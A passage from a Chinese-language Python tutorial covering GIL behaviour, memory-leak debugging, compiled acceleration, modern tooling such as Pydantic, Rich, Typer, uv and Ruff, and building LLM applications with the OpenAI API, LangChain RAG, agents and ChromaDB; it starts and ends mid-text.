上面只说了"GIL 限制了多线程",给人一种"多线程完全没用"的错觉。实际上,在某些场景下多线程依然有效——关键在于理解 GIL 什么时候会释放。

# ===== GIL 释放的三种场景 =====

# 场景 1:IO 操作(文件读写、网络请求、数据库查询)
# GIL 在 IO 等待时自动释放,其他线程可以执行
import threading
import time
import httpx

def fetch_url(url: str) -> float:
    start = time.perf_counter()
    httpx.get(url)  # IO 操作,GIL 自动释放
    return time.perf_counter() - start

# 多线程并发 IO → 比单线程快得多
urls = ["https://httpbin.org/delay/1"] * 5

# 单线程:5 秒(串行)
start = time.perf_counter()
for url in urls:
    fetch_url(url)
print(f"单线程: {time.perf_counter() - start:.1f}s")  # ~5s

# 多线程:~1 秒(并发)
start = time.perf_counter()
threads = [threading.Thread(target=fetch_url, args=(url,)) for url in urls]
for t in threads: t.start()
for t in threads: t.join()
print(f"多线程: {time.perf_counter() - start:.1f}s")  # ~1s


# 场景 2:NumPy/Pandas 等 C 扩展在计算时释放 GIL
# NumPy 的矩阵运算在 C 层执行,会主动释放 GIL
import numpy as np
import threading

a = np.random.rand(10000, 10000)
b = np.random.rand(10000, 10000)
results = [None, None]

def matrix_multiply(idx, x, y):
    results[idx] = np.dot(x, y)  # C 层运算,释放 GIL

# 单线程
start = time.perf_counter()
np.dot(a, b)
print(f"单线程矩阵乘法: {time.perf_counter() - start:.2f}s")

# 多线程(NumPy 释放 GIL,可以利用多核!)
start = time.perf_counter()
half_a1, half_a2 = a[:5000], a[5000:]
t1 = threading.Thread(target=matrix_multiply, args=(0, half_a1, b))
t2 = threading.Thread(target=matrix_multiply, args=(1, half_a2, b))
t1.start(); t2.start()
t1.join(); t2.join()
print(f"多线程矩阵乘法: {time.perf_counter() - start:.2f}s")  # 接近 2x 加速


# 场景 3:Python 3.13+ free-threaded 模式(实验性)
# 编译时加 --disable-gil,所有 CPU 密集型多线程都能真正并行
# 注意:需要 C 扩展也支持 free-threaded


# ===== multiprocessing + SharedMemory:进程间零拷贝通信 =====
# 传统的 multiprocessing.Queue 有 pickle 序列化开销
# SharedMemory 让多个进程直接访问同一块内存

from multiprocessing import shared_memory
import numpy as np

def producer(shm_name, shape, dtype):
    """生产者:写入共享内存"""
    existing_shm = shared_memory.SharedMemory(name=shm_name)
    arr = np.ndarray(shape, dtype=dtype, buffer=existing_shm.buf)
    arr[:] = np.random.rand(*shape)  # 写入数据
    existing_shm.close()

def consumer(shm_name, shape, dtype):
    """消费者:读取共享内存(零拷贝)"""
    existing_shm = shared_memory.SharedMemory(name=shm_name)
    arr = np.ndarray(shape, dtype=dtype, buffer=existing_shm.buf)
    result = np.sum(arr)  # 直接操作共享内存
    existing_shm.close()
    return result

# 创建共享内存
shape = (10000, 10000)
dtype = np.float64
shm = shared_memory.SharedMemory(create=True, size=np.prod(shape) * np.dtype(dtype).itemsize)

# 生产者和消费者在不同进程中访问同一块内存
from multiprocessing import Process
p1 = Process(target=producer, args=(shm.name, shape, dtype))
p1.start()
p1.join()

result = consumer(shm.name, shape, dtype)
print(f"共享内存计算结果: {result}")

shm.close()
shm.unlink()  # 清理共享内存

47.8 内存泄漏排查——tracemalloc 与 objgraph 实战

# ===== 内存泄漏的常见原因 =====
# 1. 全局列表/字典不断 append,永远不清理
# 2. 闭包持有大对象的引用
# 3. 循环引用 + __del__(Python 3.4+ 已大部分修复)
# 4. C 扩展中的内存泄漏

# ===== tracemalloc:定位哪一行代码分配了最多内存 =====
import tracemalloc
import linecache

tracemalloc.start()

# 模拟内存泄漏
leaky_list = []
for i in range(100000):
    leaky_list.append("x" * 1000)  # 不断分配内存

# 拍快照
snapshot = tracemalloc.take_snapshot()

# 按文件+行号统计内存分配
print("=== 按行号统计 Top 10 ===")
top_stats = snapshot.statistics('lineno')
for stat in top_stats[:10]:
    print(stat)
# 输出示例:
# script.py:15: 85.0 MiB  ← 这一行分配了 85MB!

# 按文件统计
print("\n=== 按文件统计 Top 5 ===")
top_stats = snapshot.statistics('filename')
for stat in top_stats[:5]:
    print(stat)

# 比较两个快照(找出增量)
tracemalloc.start()
snapshot1 = tracemalloc.take_snapshot()

# 执行一些操作
data = [i ** 2 for i in range(500000)]

snapshot2 = tracemalloc.take_snapshot()
top_stats = snapshot2.compare_to(snapshot1, 'lineno')
print("\n=== 内存增量 Top 5 ===")
for stat in top_stats[:5]:
    print(stat)
# 输出示例:
# script.py:20: +4.2 MiB  ← 这一行新增了 4.2MB


# ===== objgraph:可视化对象引用关系 =====
# pip install objgraph

import objgraph

# 查看哪些类型的对象最多
print("\n=== 最多的对象类型 ===")
objgraph.show_most_common_types(limit=10)

# 查看新增的对象(找出泄漏的对象类型)
objgraph.show_growth(limit=10)
# 执行一些操作后再次调用
objgraph.show_growth(limit=10)
# 输出示例:
# dict        1500     +500   ← 新增了 500 个 dict,可能是泄漏

# 查找泄漏对象的引用链(最关键的调试手段)
# 假设发现 list 对象不断增长
leaky_objects = objgraph.by_type('list')
if leaky_objects:
    # 打印引用链:谁引用了这个对象?
    objgraph.show_backrefs(
        leaky_objects[-1],  # 最后一个 list 对象
        max_depth=5,
        filename='leak_refs.png'  # 生成引用关系图
    )
    print("已生成引用关系图: leak_refs.png")


# ===== 常见内存泄漏案例 =====

# 案例 1:全局缓存无限增长
_cache = {}
def get_data_bad(key):
    if key not in _cache:
        _cache[key] = expensive_computation(key)  # 永远不清理!
    return _cache[key]

# 修复:使用 LRU 缓存(有最大容量)
from functools import lru_cache

@lru_cache(maxsize=1000)  # 最多缓存 1000 个,超出自动淘汰
def get_data_good(key):
    return expensive_computation(key)


# 案例 2:闭包持有大对象
def create_processor_bad():
    big_data = load_huge_dataset()  # 1GB 数据
    def process(item):
        # 闭包引用了 big_data,即使只用了一小部分
        return big_data.lookup(item)
    return process  # 返回的函数持有 1GB 的 big_data!

# 修复:只提取需要的部分
def create_processor_good():
    big_data = load_huge_dataset()
    index = build_index(big_data)  # 只保留索引(可能只有 10MB)
    del big_data  # 释放原始数据
    def process(item):
        return index.lookup(item)
    return process


# 案例 3:事件监听器未取消
class EventBus:
    def __init__(self):
        self._listeners = {}

    def on(self, event, callback):
        self._listeners.setdefault(event, []).append(callback)
        # 如果 callback 是一个对象方法,会导致对象无法被 GC!

# 修复:使用 weakref
import weakref

class SafeEventBus:
    def __init__(self):
        self._listeners = {}

    def on(self, event, callback):
        # 如果是绑定方法,用 weakref 避免阻止 GC
        if hasattr(callback, '__self__'):
            ref = weakref.WeakMethod(callback)
            self._listeners.setdefault(event, []).append(ref)
        else:
            self._listeners.setdefault(event, []).append(callback)

47.9 C 扩展与编译加速——将瓶颈代码加速 100 倍

# ===== Cython:给 Python 代码加类型声明,编译成 C =====
# pip install cython

# 计算密集型函数(纯 Python 版本——慢)
def monte_carlo_pi_python(n: int) -> float:
    """蒙特卡洛方法计算 π"""
    import random
    inside = 0
    for _ in range(n):
        x = random.random()
        y = random.random()
        if x * x + y * y <= 1.0:
            inside += 1
    return 4.0 * inside / n

# Cython 版本(pi_calc.pyx):
"""
import cython
from libc.stdlib cimport rand, RAND_MAX

@cython.cdivision(True)
def monte_carlo_pi_cython(int n):
    cdef int inside = 0
    cdef double x, y
    cdef int i
    for i in range(n):
        x = rand() / RAND_MAX
        y = rand() / RAND_MAX
        if x * x + y * y <= 1.0:
            inside += 1
    return 4.0 * inside / n
"""
# 编译:cythonize -i pi_calc.pyx
# 速度对比:纯 Python 约 2 秒,Cython 约 0.02 秒(100 倍加速)


# ===== Numba:用装饰器即时编译 =====
# pip install numba

from numba import jit
import numpy as np

# 纯 Python 版本
def matrix_multiply_python(A, B):
    n = A.shape[0]
    C = np.zeros((n, n))
    for i in range(n):
        for j in range(n):
            for k in range(n):
                C[i, j] += A[i, k] * B[k, j]
    return C

# Numba 版本(加一个装饰器!)
@jit(nopython=True, parallel=True)
def matrix_multiply_numba(A, B):
    n = A.shape[0]
    C = np.zeros((n, n))
    for i in range(n):        # Numba 会自动并行化
        for j in range(n):
            for k in range(n):
                C[i, j] += A[i, k] * B[k, j]
    return C

# 速度对比(100x100 矩阵):
# 纯 Python:约 5 秒
# Numba:约 0.005 秒(1000 倍加速)
# NumPy np.dot:约 0.0001 秒(但 Numba 更灵活,适合 NumPy 表达不出的复杂逻辑)

# 使用
A = np.random.rand(100, 100)
B = np.random.rand(100, 100)

# 首次调用有编译开销(~0.5 秒),后续调用极快
C = matrix_multiply_numba(A, B)  # 编译
C = matrix_multiply_numba(A, B)  # 极快


# ===== PyO3:用 Rust 写 Python 扩展 =====
# 比 Cython 更安全,比 C 扩展更易维护

# Rust 代码(lib.rs):
"""
use pyo3::prelude::*;

#[pyfunction]
fn fibonacci(n: u64) -> u64 {
    match n {
        0 => 0,
        1 => 1,
        _ => {
            let mut a = 0u64;
            let mut b = 1u64;
            for _ in 2..=n {
                let temp = a + b;
                a = b;
                b = temp;
            }
            b
        }
    }
}

#[pymodule]
fn my_rust_lib(m: &Bound<'_, PyModule>) -> PyResult<()> {
    m.add_function(wrap_pyfunction!(fibonacci, m)?)?;
    Ok(())
}
"""

# pyproject.toml 配置:
"""
[build-system]
requires = ["maturin>=1.0"]
build-backend = "maturin"

[project]
name = "my-rust-lib"
"""

# 构建:maturin develop --release
# Python 中使用:
# from my_rust_lib import fibonacci
# fibonacci(100)  # 比纯 Python 快 50-100 倍


# ===== 选择建议 =====
# | 方案       | 加速比 | 学习成本 | 适用场景                    |
# |-----------|--------|---------|---------------------------|
# | NumPy     | 10-40x | 低      | 数值计算、矩阵运算            |
# | Numba     | 50-200x| 低      | 数值循环、科学计算            |
# | Cython    | 50-200x| 中      | 通用加速、需要 C 级控制       |
# | PyO3(Rust)| 50-200x| 高      | 系统级扩展、需要内存安全       |
# | C 扩展     | 50-200x| 高      | 最大控制、CPython 内部开发    |
本章要点
  • 一切皆对象:每个 PyObject 有引用计数和类型指针
  • 小整数池和字符串驻留(interning)是 CPython 的优化手段
  • GIL 的真相:IO 操作和 C 扩展(NumPy)会释放 GIL,多线程在这些场景依然有效
  • 字节码是 Python 的中间表示,理解它有助于优化代码
  • 性能分析工具:timeit(微基准)、cProfile(函数级)、line_profiler(逐行)
  • Python 3.13+ 的 free-threaded 模式正在打破 GIL 限制
  • 内存泄漏排查:tracemalloc 定位分配源,objgraph 追踪引用链
  • C 扩展加速:Numba(最简单)> Cython(最灵活)> PyO3(最安全)
  • multiprocessing + SharedMemory 实现进程间零拷贝通信

第四十八章:现代 Python 生态与工具链

本章导览

Python 生态在 2024-2026 年经历了巨大变革。本章介绍当前最流行的现代工具:Pydantic(数据验证)、Rich(终端美化)、Typer(CLI 框架)、UV(超快包管理器)、Ruff(超快 linter)。掌握这些工具,你的开发效率会提升一个量级。

48.1 Pydantic——数据验证的终极方案

# pip install pydantic

from pydantic import BaseModel, Field, field_validator, model_validator, EmailStr
from typing import Optional
from datetime import datetime

# ===== 基本用法:自动类型验证 =====
class User(BaseModel):
    name: str
    age: int = Field(ge=0, le=150)  # 限制范围
    email: EmailStr  # 需要安装 email-validator: pip install email-validator
    is_active: bool = True
    created_at: datetime = Field(default_factory=datetime.now)

# 自动验证和类型转换
user = User(name="张三", age="25", email="zhangsan@example.com")
print(user.age)          # 25(字符串自动转为 int)
print(user.model_dump()) # 转为字典
print(user.model_dump_json())  # 转为 JSON 字符串

# 验证失败会抛出详细错误
try:
    User(name="李四", age=-5, email="bad")
except Exception as e:
    print(e)
    # 2 validation errors:
    # age: Input should be greater than or equal to 0
    # email: value is not a valid email address

# ===== 自定义验证器 =====
class Product(BaseModel):
    name: str
    price: float = Field(gt=0)
    discount: float = Field(ge=0, le=1, default=0)

    @field_validator('name')
    @classmethod
    def name_must_be_valid(cls, v):
        if len(v) < 2:
            raise ValueError('商品名至少 2 个字符')
        return v.strip()

    @model_validator(mode='after')
    def check_discount(self):
        if self.discount > 0 and self.price < 10:
            raise ValueError('价格低于 10 元不能打折')
        return self

# ===== 嵌套模型 =====
class Address(BaseModel):
    city: str
    street: str

class Employee(BaseModel):
    name: str
    address: Address
    skills: list[str] = []

emp = Employee(
    name="王五",
    address={"city": "北京", "street": "中关村大街"},
    skills=["Python", "SQL"]
)
print(emp.address.city)  # 北京

# ===== 与 FastAPI 集成 =====
# FastAPI 原生支持 Pydantic,自动生成 API 文档
# from fastapi import FastAPI
# app = FastAPI()
# @app.post("/users/")
# def create_user(user: User):  # 自动验证请求体
#     return user

48.2 Rich——让终端输出美如画

# pip install rich

from rich.console import Console
from rich.table import Table
from rich.progress import track
from rich.panel import Panel
from rich.syntax import Syntax
from rich.tree import Tree
from rich import print as rprint
import time

console = Console()

# ===== 彩色输出 =====
console.print("这是[bold red]红色粗体[/]文字")
console.print("[green]成功![/] 操作完成")
console.print("[yellow]警告:[/]磁盘空间不足")

# ===== 表格 =====
table = Table(title="用户列表")
table.add_column("姓名", style="cyan")
table.add_column("年龄", style="magenta")
table.add_column("城市", style="green")
table.add_row("张三", "25", "北京")
table.add_row("李四", "30", "上海")
table.add_row("王五", "28", "深圳")
console.print(table)

# ===== 进度条 =====
for step in track(range(100), description="处理中..."):
    time.sleep(0.02)

# ===== 面板 =====
console.print(Panel.fit(
    "[bold green]部署成功![/]\n"
    "服务地址: http://localhost:8000\n"
    "数据库: PostgreSQL 15",
    title="🚀 系统状态"
))

# ===== 代码高亮 =====
code = '''
def hello(name: str) -> str:
    return f"Hello, {name}!"
'''
syntax = Syntax(code, "python", theme="monokai", line_numbers=True)
console.print(syntax)

# ===== 树形结构 =====
tree = Tree("📁 项目结构")
src = tree.add("📁 src")
src.add("📄 main.py")
src.add("📄 utils.py")
tests = tree.add("📁 tests")
tests.add("📄 test_main.py")
console.print(tree)

# ===== 日志美化 =====
from rich.logging import RichHandler
import logging

logging.basicConfig(
    level=logging.INFO,
    format="%(message)s",
    handlers=[RichHandler(rich_tracebacks=True)]
)
logger = logging.getLogger("rich")
logger.info("服务启动")
logger.warning("内存使用率 85%")

48.3 Typer——现代 CLI 框架

# pip install typer

import typer
from typing import Optional
from rich.console import Console

app = typer.Typer(help="一个示例 CLI 工具")
console = Console()

@app.command()
def greet(
    name: str = typer.Argument(..., help="你的名字"),
    count: int = typer.Option(1, "--count", "-c", help="重复次数"),
    greeting: str = typer.Option("Hello", "--greeting", "-g", help="问候语"),
):
    """向用户打招呼"""
    for _ in range(count):
        console.print(f"[bold green]{greeting}[/], {name}!")

@app.command()
def add(
    a: float = typer.Argument(..., help="第一个数"),
    b: float = typer.Argument(..., help="第二个数"),
):
    """计算两个数的和"""
    result = a + b
    console.print(f"[cyan]{a} + {b} = {result}[/]")

@app.command()
def process(
    input_file: typer.FileText = typer.Argument(..., help="输入文件"),
    output: Optional[str] = typer.Option(None, "--output", "-o", help="输出文件"),
    verbose: bool = typer.Option(False, "--verbose", "-v", help="详细模式"),
):
    """处理文件"""
    content = input_file.read()
    if verbose:
        console.print(f"读取了 {len(content)} 个字符")
    # 处理逻辑...
    if output:
        with open(output, 'w') as f:
            f.write(content.upper())
        console.print(f"[green]已保存到 {output}[/]")

if __name__ == "__main__":
    app()
# 运行:python cli.py greet 张三 --count 3
# 运行:python cli.py add 10 20
# 运行:python cli.py process input.txt -o output.txt -v
# 运行:python cli.py --help

48.4 UV——下一代 Python 包管理器

# UV 是 Astral(ruff 团队)开发的超快 Python 包管理器
# 用 Rust 编写,比 pip 快 10-100 倍

# ===== 安装 =====
# Windows: powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
# macOS/Linux: curl -LsSf https://astral.sh/uv/install.sh | sh

# ===== 基本用法 =====
# uv pip install requests        # 安装包(极快)
# uv pip install -r requirements.txt
# uv pip compile requirements.in  # 锁定依赖版本

# ===== 项目管理 =====
# uv init my-project             # 初始化新项目
# uv add requests fastapi        # 添加依赖
# uv add --dev pytest ruff       # 添加开发依赖
# uv remove requests             # 移除依赖
# uv sync                        # 同步依赖(类似 npm install)
# uv lock                        # 生成锁文件

# ===== Python 版本管理 =====
# uv python install 3.12         # 安装 Python 3.12
# uv python list                 # 列出可用版本
# uv python pin 3.12             # 固定项目 Python 版本

# ===== 运行脚本 =====
# uv run python main.py          # 在项目环境中运行
# uv run pytest                  # 运行测试

# ===== 与传统工具对比 =====
# pip install requests      →  uv pip install requests      (快 50x)
# pip-compile               →  uv pip compile                (快 100x)
# virtualenv + pip          →  uv venv + uv pip              (一体化)
# pyenv + pipenv + pip      →  uv                            (统一工具)

# pyproject.toml 示例(UV 管理的项目)
# [project]
# name = "my-app"
# version = "0.1.0"
# requires-python = ">=3.11"
# dependencies = [
#     "fastapi>=0.100",
#     "pydantic>=2.0",
#     "uvicorn>=0.23",
# ]
#
# [tool.uv]
# dev-dependencies = [
#     "pytest>=7.0",
#     "ruff>=0.1",
# ]

48.5 Ruff——超快的 Python Linter 和 Formatter

# Ruff 用 Rust 编写,比 Flake8 快 10-100 倍
# 同时集成了 isort、pyupgrade、pylint 等工具的功能

# ===== 安装 =====
# uv pip install ruff
# 或:pip install ruff

# ===== 基本用法 =====
# ruff check .               # 检查代码
# ruff check . --fix         # 自动修复
# ruff format .              # 格式化代码(替代 black)
# ruff format --check .      # 检查是否已格式化

# ===== pyproject.toml 配置 =====
# [tool.ruff]
# target-version = "py312"
# line-length = 88
#
# [tool.ruff.lint]
# select = [
#     "E",    # pycodestyle errors
#     "W",    # pycodestyle warnings
#     "F",    # pyflakes
#     "I",    # isort
#     "N",    # pep8-naming
#     "UP",   # pyupgrade
#     "B",    # flake8-bugbear
#     "SIM",  # flake8-simplify
#     "RUF",  # ruff-specific rules
# ]
# ignore = ["E501"]  # 忽略行长度限制
#
# [tool.ruff.lint.isort]
# known-first-party = ["myapp"]

# ===== 与 pre-commit 集成 =====
# .pre-commit-config.yaml:
# repos:
#   - repo: https://github.com/astral-sh/ruff-pre-commit
#     rev: v0.8.0
#     hooks:
#       - id: ruff
#         args: [--fix]
#       - id: ruff-format

48.6 现代 Python 项目模板

# 一个 2026 年的现代 Python 项目结构:

my-project/
├── pyproject.toml          # 项目配置(替代 setup.py、setup.cfg、requirements.txt)
├── uv.lock                 # 依赖锁文件
├── .python-version         # Python 版本固定
├── .pre-commit-config.yaml # 提交前自动检查
├── ruff.toml               # Ruff 配置
├── Dockerfile
├── docker-compose.yml
├── .github/
│   └── workflows/
│       ├── ci.yml          # 持续集成
│       └── release.yml     # 自动发布
├── src/
│   └── my_project/
│       ├── __init__.py
│       ├── main.py
│       ├── models.py       # Pydantic 模型
│       ├── config.py       # 配置管理
│       ├── utils/
│       │   ├── __init__.py
│       │   └── helpers.py
│       └── api/
│           ├── __init__.py
│           └── routes.py
├── tests/
│   ├── conftest.py
│   ├── test_main.py
│   └── test_models.py
└── docs/
    └── README.md

# pyproject.toml 完整示例:
# [project]
# name = "my-project"
# version = "0.1.0"
# description = "A modern Python project"
# requires-python = ">=3.12"
# dependencies = [
#     "pydantic>=2.0",
#     "rich>=13.0",
#     "typer>=0.9",
# ]
#
# [project.optional-dependencies]
# dev = [
#     "pytest>=8.0",
#     "pytest-cov>=4.0",
#     "ruff>=0.8",
#     "pre-commit>=3.0",
#     "mypy>=1.0",
# ]
#
# [build-system]
# requires = ["hatchling"]
# build-backend = "hatchling.build"
#
# [tool.pytest.ini_options]
# testpaths = ["tests"]
# addopts = "--cov=src --cov-report=term-missing"
#
# [tool.mypy]
# python_version = "3.12"
# strict = true
本章要点
  • Pydantic 2.0+ 是 Python 数据验证的标准方案,与 FastAPI 深度集成
  • Rich 让终端输出从"能看"变成"好看",调试效率大幅提升
  • Typer 是构建 CLI 工具的最佳选择(基于 Click,但更简洁)
  • UV 正在取代 pip/pipenv/pyenv,成为 Python 包管理的事实标准
  • Ruff 取代了 Flake8 + isort + Black,一个工具搞定所有代码质量
  • 用 pyproject.toml 统一项目配置,告别 setup.py 时代

第四十九章:AI 与大模型应用开发

本章导览

2024-2026 年,AI 大模型已经从"实验室"走向了"生产环境"。本章教你用 Python 构建 AI 应用:调用 OpenAI/Claude API、使用 LangChain 构建 RAG 系统、Function Calling、向量数据库、Agent 架构。这是当前最热门的 Python 应用方向。

49.1 OpenAI API 快速入门

# pip install openai

from openai import OpenAI

# ===== 基本对话 =====
client = OpenAI(api_key="your-api-key")

response = client.chat.completions.create(
    model="gpt-4o",
    messages=[
        {"role": "system", "content": "你是一个 Python 专家"},
        {"role": "user", "content": "解释什么是装饰器"}
    ],
    temperature=0.7,
    max_tokens=500
)
print(response.choices[0].message.content)

# ===== 流式输出(SSE)=====
stream = client.chat.completions.create(
    model="gpt-4o",
    messages=[{"role": "user", "content": "写一首关于编程的诗"}],
    stream=True
)
for chunk in stream:
    if chunk.choices[0].delta.content:
        print(chunk.choices[0].delta.content, end="", flush=True)

# ===== 多轮对话 =====
messages = [
    {"role": "system", "content": "你是一个友好的助手"}
]

def chat(user_input: str) -> str:
    messages.append({"role": "user", "content": user_input})
    response = client.chat.completions.create(
        model="gpt-4o",
        messages=messages
    )
    reply = response.choices[0].message.content
    messages.append({"role": "assistant", "content": reply})
    return reply

print(chat("你好,我叫张三"))
print(chat("你还记得我叫什么吗?"))  # 能记住上下文

# ===== 结构化输出(JSON Mode)=====
response = client.chat.completions.create(
    model="gpt-4o",
    messages=[
        {"role": "system", "content": "以 JSON 格式返回用户信息"},
        {"role": "user", "content": "张三,25岁,北京"}
    ],
    response_format={"type": "json_object"}
)
import json
data = json.loads(response.choices[0].message.content)
print(data)  # {"name": "张三", "age": 25, "city": "北京"}

49.2 Function Calling——让 AI 调用你的函数

import json
from openai import OpenAI

client = OpenAI()

# 定义工具(函数)
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "获取指定城市的天气信息",
            "parameters": {
                "type": "object",
                "properties": {
                    "city": {
                        "type": "string",
                        "description": "城市名称,如'北京'"
                    },
                    "unit": {
                        "type": "string",
                        "enum": ["celsius", "fahrenheit"],
                        "description": "温度单位"
                    }
                },
                "required": ["city"]
            }
        }
    }
]

# 模拟天气查询函数
def get_weather(city: str, unit: str = "celsius") -> dict:
    return {"city": city, "temperature": 25, "unit": unit, "condition": "晴"}

# 第一轮:让 AI 决定是否调用函数
messages = [{"role": "user", "content": "北京今天天气怎么样?"}]
response = client.chat.completions.create(
    model="gpt-4o",
    messages=messages,
    tools=tools,
    tool_choice="auto"
)

msg = response.choices[0].message

# 如果 AI 决定调用函数
if msg.tool_calls:
    for tool_call in msg.tool_calls:
        func_name = tool_call.function.name
        func_args = json.loads(tool_call.function.arguments)
        print(f"AI 要调用: {func_name}({func_args})")

        # 执行函数
        result = get_weather(**func_args)

        # 把结果返回给 AI
        messages.append(msg)
        messages.append({
            "role": "tool",
            "tool_call_id": tool_call.id,
            "content": json.dumps(result, ensure_ascii=False)
        })

    # 第二轮:AI 基于函数结果生成回答
    final_response = client.chat.completions.create(
        model="gpt-4o",
        messages=messages
    )
    print(final_response.choices[0].message.content)
    # "北京今天天气晴朗,温度25°C,适合出行!"

49.3 LangChain——构建 AI 应用的框架

# pip install langchain langchain-openai langchain-community langchain-text-splitters langchain-faiss

from langchain_openai import ChatOpenAI, OpenAIEmbeddings
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.output_parsers import StrOutputParser
from langchain_core.runnables import RunnablePassthrough

# ===== 基本链 =====
llm = ChatOpenAI(model="gpt-4o", temperature=0)

prompt = ChatPromptTemplate.from_messages([
    ("system", "你是一个{role}专家,用简洁的语言回答问题"),
    ("user", "{question}")
])

chain = prompt | llm | StrOutputParser()
result = chain.invoke({"role": "Python", "question": "什么是装饰器?"})
print(result)

# ===== RAG(检索增强生成)=====
# 1. 加载文档(LangChain 0.2+ 推荐使用独立包)
from langchain_community.document_loaders import TextLoader, DirectoryLoader
from langchain_text_splitters import RecursiveCharacterTextSplitter

loader = DirectoryLoader("./docs", glob="**/*.md", loader_cls=TextLoader)
documents = loader.load()

# 2. 分割文档
splitter = RecursiveCharacterTextSplitter(
    chunk_size=500,
    chunk_overlap=50
)
chunks = splitter.split_documents(documents)

# 3. 向量化存储
from langchain_community.vectorstores import FAISS
from langchain_openai import OpenAIEmbeddings

embeddings = OpenAIEmbeddings()
vectorstore = FAISS.from_documents(chunks, embeddings)
retriever = vectorstore.as_retriever(search_kwargs={"k": 3})

# 4. 构建 RAG 链
from langchain_core.prompts import ChatPromptTemplate

rag_prompt = ChatPromptTemplate.from_template("""
基于以下上下文回答问题。如果上下文中没有相关信息,请说"我无法从提供的资料中找到答案"。

上下文:
{context}

问题:{question}
""")

def format_docs(docs):
    return "\n\n".join(doc.page_content for doc in docs)

rag_chain = (
    {"context": retriever | format_docs, "question": RunnablePassthrough()}
    | rag_prompt
    | llm
    | StrOutputParser()
)

answer = rag_chain.invoke("如何配置 Docker?")
print(answer)

# ===== Agent:让 AI 自主决定使用哪些工具 =====
from langchain.agents import AgentExecutor, create_tool_calling_agent
from langchain_core.tools import tool

@tool
def search_database(query: str) -> str:
    """搜索产品数据库"""
    # 模拟数据库查询
    return f"找到 3 个与'{query}'相关的产品"

@tool
def calculate(expression: str) -> str:
    """计算数学表达式"""
    # ⚠️ 注意:eval() 仅作演示!生产环境请用 simpleeval 或 ast.literal_eval 替代
    allowed = set("0123456789+-*/.() ")
    if not all(c in allowed for c in expression):
        raise ValueError("表达式包含非法字符")
    return str(eval(expression))

tools = [search_database, calculate]

agent_prompt = ChatPromptTemplate.from_messages([
    ("system", "你是一个智能助手,可以搜索数据库和进行计算"),
    ("user", "{input}"),
    ("placeholder", "{agent_scratchpad}")
])

agent = create_tool_calling_agent(llm, tools, agent_prompt)
executor = AgentExecutor(agent=agent, tools=tools, verbose=True)

result = executor.invoke({"input": "帮我搜索笔记本电脑,然后计算 12 期分期每期多少钱"})
print(result["output"])

49.4 向量数据库实战

# pip install chromadb

import chromadb
from chromadb.utils import embedding_functions

# ===== ChromaDB 基本用法 =====
client = chromadb.Client()  # 内存模式
# client = chromadb.PersistentClient(path="./chroma_db")  # 持久化模式

# 创建集合
ef = embedding_functions.OpenAIEmbeddingFunction(
    api_key="your-api-key",
    model_name="text-embedding-3-small"
)
collection = client.create_collection(
    name="my_docs",
    embedding_function=ef
)

# 添加文档
collection.add(
    documents=["Python 是一种解释型语言", "Docker 是容器化技术", "Redis 是内存数据库"],
    ids=["doc1", "doc2", "doc3"],
    metadatas=[
        {"category": "language", "difficulty": "easy"},
        {"category": "devops", "difficulty": "medium"},
        {"category": "database", "difficulty": "medium"}
    ]
)

# 查询相似文档
results = collection.query(
    query_texts=["什么是编程语言?"],
    n_results=2
)
print(results)
# 最相关的是 "Python 是一种解释型语言"

# 带过滤条件查询
results = collection.query(
    query_texts=["数据库技术"],
    n_results=2,
    where={"category": "database"}
)

# ===== 实用技巧 =====
# 1. 分块策略:文档按 500-1000 字符分块,保留 50 字符重叠
# 2. 元数据过滤:用 metadata 缩小搜索范围,提高准确率
# 3. 混合搜索:向量搜索 + 关键词搜索结合
# 4. 定期更新:文档变化时重新索引

49.5 构建完整的 AI 应用

# 完整示例:基于 RAG 的知识库问答系统

from fastapi import FastAPI
from pydantic import BaseModel
from openai import OpenAI
import chromadb
from typing import Generator

app = FastAPI()
client = OpenAI()

# 初始化向量数据库
chroma_client = chromadb.PersistentClient(path="./knowledge_db")
collection = chroma_client.get_collection("knowledge_base")

class Question(BaseModel):
    question: str
    top_k: int = 3

class Answer(BaseModel):
    answer: str
    sources: list[str]

@app.post("/ask", response_model=Answer)
def ask_question(q: Question):
    """基于知识库的问答"""
    # 1. 检索相关文档
    results = collection.query(
        query_texts=[q.question],
        n_results=q.top_k
    )
    contexts = results["documents"][0]
    sources = results["metadatas"][0]

    # 2. 构建 prompt
    system_prompt = f"""你是一个知识库助手。基于以下参考资料回答问题。
如果资料中没有相关信息,请明确告知用户。

参考资料:
{chr(10).join(f'[{i+1}] {ctx}' for i, ctx in enumerate(contexts))}"""

    # 3. 调用大模型
    response = client.chat.completions.create(
        model="gpt-4o",
        messages=[
            {"role": "system", "content": system_prompt},
            {"role": "user", "content": q.question}
        ]
    )

    return Answer(
        answer=response.choices[0].message.content,
        sources=[s.get("source", "未知") for s in sources]
    )

@app.post("/ask/stream")
def ask_stream(q: Question):
    """流式问答(SSE)"""
    results = collection.query(query_texts=[q.question], n_results=q.top_k)
    contexts = results["documents"][0]

    def generate() -> Generator[str, None, None]:
        stream = client.chat.completions.create(
            model="gpt-4o",
            messages=[
                {"role": "system", "content": f"基于以下资料回答:\n{chr(10).join(contexts)}"},
                {"role": "user", "content": q.question}
            ],
            stream=True
        )
        for chunk in stream:
            if chunk.choices[0].delta.content:
                yield f"data: {chunk.choices[0].delta.content}\n\n"
        yield "data: [DONE]\n\n"

    from fastapi.responses import StreamingResponse
    return StreamingResponse(generate(), media_type="text/event-stream")

49.6 RAG 进阶——混合检索与 Rerank(生产环境核心痛点)

⚠️ 原版问题

上面演示的 RAG 只用了最基础的向量检索(similarity search)。在生产环境中,纯向量检索的召回率往往不够——用户搜"如何退款"时,向量可能匹配到语义相近但无关的文档(如"如何充值")。混合检索 + Rerank 是解决这一问题的标准方案。

# ===== 混合检索(Hybrid Search):向量检索 + BM25 关键词检索 =====
# 核心思想:向量检索擅长"语义匹配",BM25 擅长"精确关键词匹配"
# 两者结合,召回率显著提升

# pip install rank_bm25 langchain-community

from rank_bm25 import BM25Okapi
import jieba
from langchain_openai import OpenAIEmbeddings
from langchain_community.vectorstores import FAISS

# 1. 准备文档
documents = [
    "Python 的 GIL 限制了多线程的 CPU 并行能力",
    "Docker 容器化技术让部署更加便捷",
    "Redis 是一个高性能的内存数据库",
    "退款流程:登录后进入订单页面,点击退款按钮",
    "充值方式:支持支付宝、微信、银行卡充值",
]

# 2. 构建 BM25 索引(关键词检索)
tokenized_docs = [list(jieba.cut(doc)) for doc in documents]
